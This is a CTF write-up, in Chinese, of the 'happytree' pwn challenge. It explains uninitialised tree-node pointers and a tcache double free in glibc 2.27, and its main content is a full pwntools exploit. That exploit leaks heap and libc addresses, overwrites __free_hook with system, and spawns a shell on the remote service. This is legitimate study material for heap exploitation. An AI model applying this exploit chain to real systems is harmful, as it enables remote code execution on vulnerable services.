Happytree
比赛的时候就做了这一题,卡在了漏洞的利用上。。。最后是@xi4oyu把这道题做出来的。花了几天学wp。
首先题目实现的是一个二叉树,根据代码猜测出了结构体。
struct node {
long index;
char* content;
struct node* left_node;
struct node* right_node;
}
结构体大小为0x40。
由逆向代码可得:添加节点时,左右子叶的指针并未初始化, 且read
函数没有截断。
首先是leak libc可以利用
read
没截断来带出smallbin的bk指针。再是getshell,刚开始的想法是伪造chunk(然而对glibc依然不是很熟,不知道可不可行),后来发现可以直接利用未初始化节点double free,但还是被自己绕晕了。看了看@xi4oyu的思路,终于理清楚了。
这里glibc版本是2.27,tcache对于double free的检测基本等于没有(ubuntu下的版本打了patch,2.29正式加入),在小语的思路中double free的不是fastbin,而是tcache。且使用的环形链是分配给content的部分。
为方便操作,可以只往一个方向添加节点
首先创建三个节点:
A --> B --> C
删除B之后就能得到:
A --> C
B --> C
再添加一个节点就得到了:
A --> C --> B --> C
从而实现double free
如下为小语的exp,以及我对exp的分析。
#coding=utf8
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
irt = lambda :p.interactive()
dbg = lambda gs='', **kwargs :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def rs(arg=[]):
global p
if arg == 'remote':
p = remote(*host)
else:
p = binary.process(argv=arg)
def insert(index, content):
sla(b'cmd> ', b'1')
sla(b'data: ', str(index).encode())
if content:
sa(b'content: ', content)
def delete(index):
sla(b'cmd> ', b'2')
sla(b'data: ', bytes(str(index), "ascii"))
def show(index):
sla(b'cmd> ', b'3')
sla(b'data: ', str(index).encode())
binary = ELF('./happytree', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
# rs()
rs('remote')
insert(0x40, b'/bin/sh\x00') # X
insert(0x41, b'ccc') # X --> Y
insert(0x42, b'ccc') # X --> Y --> Z
# leak heap
# 由于index的位置和tcache的fd指针重合,double free时的第二次free的index为tcache的fd指针,因此需要泄露堆地址来实现第二次free。
for i in range(9):
insert(i+0x90, b'aa\n')
delete(8+0x90)
delete(7+0x90)
insert(8+0x90, b'\n')
show(8+0x90)
ru(b'content: ')
heap = uu64(r(6)) - 0x1260a
leak('heap', heap)
for i in range(8):
delete(8-i+0x90)
# leak libc
insert(0x80, b'a' * 8)
show(0x80)
ru(b'a' * 8)
lbase = uu64(ru(b'\n')) - 0x3ebd30
leak('lbase', lbase)
__free_hook = lbase + libc.sym['__free_hook']
# get shell
for i in range(6):
insert(0x91+i, b'bbb')
# 0x94 0x95 0x96
# A --> B --> C
delete(0x95) # X --> Y --> Z --> A --> C, B --> C
insert(0x97, b'ccc') # X --> Y --> Z --> A --> C --> B --> C
# 0x94 0x96 0x97 0x96
# A --> C --> B --> C
delete(0x97) # X --> Y --> Z --> A --> C --> C
delete(0x96) # X --> Y --> Z --> A --> C
# 0x94 tcache fd
# A --> C
idx = (heap + 0x125a0) & 0xffffffff
delete(idx) # X --> Y --> Z --> A
# tcache(0x100) C.content --> C.content
# 下面两个delete调整了tcache,防止由于之前free的chunk中的脏数据导致左右指针指向自己。
delete(0x41) # X --> Z --> A
delete(0x42) # X --> A
insert(0x97, p64(__free_hook))
# tcache(0x100) C.content --> __free_hook
insert(0x96, b'ccc')
# tcache(0x100) __free_hook
insert(0x95, p64(lbase + libc.sym['system'])) # content = __free_hook
# dbg()
delete(0x40)
irt()
exit()
最后的一点总结
- glibc-2.27中tcache没有检测double free
- tcache中不只是fastbin能double free,只要能进入tcache都能double free。(前提是tcache不检测double free)
- 堆漏洞利用要着眼于每一个分配的chunk。这次我就是思路被局限在节点的chunk,忽略了content的chunk,而一直无法getshell